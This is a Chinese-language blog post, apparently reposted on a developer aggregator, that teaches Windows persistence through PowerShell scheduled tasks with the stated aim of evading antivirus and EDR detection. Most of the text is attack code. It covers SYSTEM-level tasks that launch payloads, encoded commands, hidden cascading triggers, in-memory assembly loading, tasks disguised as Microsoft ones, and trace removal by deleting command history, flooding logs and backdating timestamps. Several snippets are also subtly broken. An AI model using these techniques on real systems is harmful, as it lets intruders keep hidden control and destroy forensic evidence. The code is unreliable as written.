Windows计划任务持久化实战:用PowerShell的Register-ScheduledTask绕过杀软检测
Windows计划任务持久化PowerShell高级对抗技术解析在红队攻防实战中持久化技术是维持访问权限的关键环节。Windows计划任务作为一种系统原生功能常被攻击者用于实现隐蔽的持久化控制。不同于常规的启动项或服务注册计划任务可以通过精细的时间触发和权限控制实现更灵活的驻留效果。本文将深入探讨如何利用PowerShell的Register-ScheduledTask命令构建高隐蔽性持久化方案并分享针对主流终端安全产品的绕过技巧。1. 计划任务持久化基础原理计划任务持久化的核心在于利用Windows Task Scheduler服务的合法性掩护恶意行为。与传统的注册表启动项或服务相比计划任务具有三个显著优势触发机制多样化支持登录时、系统空闲时、特定时间点等多种触发条件权限控制粒度细可指定特定用户账户运行支持最高SYSTEM权限日志记录分散事件分散在多个日志通道常规检测容易遗漏典型的持久化流程如下# 基础示例创建每分钟执行一次的持久化任务 $action New-ScheduledTaskAction -Execute cmd.exe -Argument /c C:\payload.exe $trigger New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) Register-ScheduledTask -TaskName SystemUpdate -Action $action -Trigger $trigger -User NT AUTHORITY\SYSTEM -RunLevel Highest注意实际攻击中应避免使用明显的任务名称和固定时间间隔2. 高级隐蔽技术实现2.1 动态参数混淆技术直接使用固定参数容易被静态检测捕获建议采用以下动态生成技术# 动态生成任务名称 $taskName -join ((65..90) (97..122) | Get-Random -Count 8 | % {[char]$_}) # 随机化触发时间±30分钟随机偏移 $baseTime (Get-Date).AddHours(1) $randomOffset Get-Random -Minimum -30 -Maximum 30 $triggerTime $baseTime.AddMinutes($randomOffset) # 使用编码后的执行命令 $encodedCommand [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes(Start-Process C:\Windows\Temp\svchost.exe)) $action New-ScheduledTaskAction -Execute powershell.exe -Argument -EncodedCommand $encodedCommand2.2 多级触发机制通过级联任务设计可提高隐蔽性任务层级触发条件执行内容检测难度主任务系统启动时创建二级任务低二级任务用户登录时创建三级任务中三级任务特定事件ID触发执行最终载荷高实现代码示例# 创建事件触发的隐藏任务 $query *[System[EventID4624]] # 登录事件 $trigger New-ScheduledTaskTrigger -AtLogOn -RandomDelay 00:30:00 $settings New-ScheduledTaskSettingsSet -Hidden -DontStopOnIdleEnd Register-ScheduledTask -TaskName {9A5E3E15-ABCD-4A12-BF3D-1234567890AB} -Action $action -Trigger $trigger -Settings $settings3. 主流EDR规避方案3.1 内存注入结合计划任务将恶意代码注入到合法进程内存中计划任务仅作为触发机制$scriptBlock { $bytes [System.IO.File]::ReadAllBytes(C:\payload.bin) $assembly [System.Reflection.Assembly]::Load($bytes) $entry $assembly.EntryPoint $entry.Invoke($null, (, [string[]] ())) } $action New-ScheduledTaskAction -Execute powershell.exe -Argument -Command $([scriptblock]::Create($scriptBlock))3.2 基于合法任务的伪装技术分析系统现有任务特征进行模仿收集系统原有任务属性Get-ScheduledTask | Select-Object TaskName, Author, Description | Export-Csv .\tasks.csv克隆合法任务属性$template Get-ScheduledTask -TaskName Microsoft\Windows\Defrag $newTask $template | Copy-Object $newTask.Actions[0].Execute C:\malware.dll使用相同安全描述符$sd (Get-ScheduledTask -TaskName Microsoft\Windows\Defrag).Principal Register-ScheduledTask -TaskName Microsoft\Windows\Update -Action $action -Principal $sd4. 痕迹清理与对抗检测4.1 任务属性混淆技术通过修改以下属性可降低检测概率任务作者设置为Microsoft Corporation描述信息复制系统更新相关描述触发器名称使用GUID代替可读文本任务路径放置在\Microsoft\Windows\命名空间下4.2 日志干扰技术在创建任务前后执行以下操作干扰日志分析# 清除最近执行的命令历史 Remove-Item (Get-PSReadlineOption).HistorySavePath -Force # 生成大量合法任务操作日志 1..100 | ForEach-Object { schtasks /change /tn Microsoft\Windows\Defrag /disable schtasks /change /tn Microsoft\Windows\Defrag /enable } # 修改任务创建时间戳 $task Get-ScheduledTask -TaskName BackdoorTask $task | Set-ScheduledTask -Date (Get-Date).AddDays(-30)在实际渗透测试中我们发现结合WMI事件订阅与计划任务能实现更持久的驻留效果。例如先通过WMI事件触发计划任务创建再由计划任务执行最终载荷这种分层架构能有效绕过多数行为检测方案。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2414344.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!